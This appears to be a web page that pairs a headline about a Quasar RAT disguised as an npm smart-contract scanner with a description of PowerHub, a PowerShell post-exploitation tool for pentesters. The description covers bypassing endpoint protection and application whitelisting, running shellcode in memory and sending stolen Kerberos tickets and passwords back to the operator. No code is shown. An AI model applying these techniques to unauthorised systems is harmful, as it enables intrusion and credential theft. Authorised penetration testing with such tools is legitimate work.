Quasar RAT Disguised as an npm Package for Detecting Vulnerabilities in Ethereum Smart Contracts
Socket researchers uncover a malicious npm package posing as a tool for detecting vulnerabilities in Etherium smart contracts.
A post exploitation tool based on a web application, focusing on bypassing endpoint protection and application whitelisting
PowerHub is a convenient post exploitation tool for PowerShell which aids a pentester in transferring data, in particular code which may get flagged by endpoint protection. Features:
During an engagement where you have a test client available, one of the first things you want to do is run SharpHound, Seatbelt, PowerUp, Invoke-PrivescCheck or PowerSploit. So you need to download the files, mess with endpoint protection, disable the execution policy, etc. PowerHub provides an (almost) one-click-solution for this. Oh, and you can also run arbitrary binaries (PE and shell code) entirely in-memory using PowerSploit's modules, which is sometimes useful to bypass application whitelisting.
Your loot (Kerberos tickets, passwords, etc.) can be easily transferred back either as a file or a text snippet, via the command line or the web interface. PowerHub also helps with collaboration in case you're a small team.
Here is a simple example (grab information about local groups with PowerView and transfer it back):

PowerHub is partially based on the awesome work of zc00l, @am0nsec, mar10, p3nt4. And of course, it would be nothing without @harmj0y, @mattifestation and the many other contributors to PowerSploit.
Thanks!
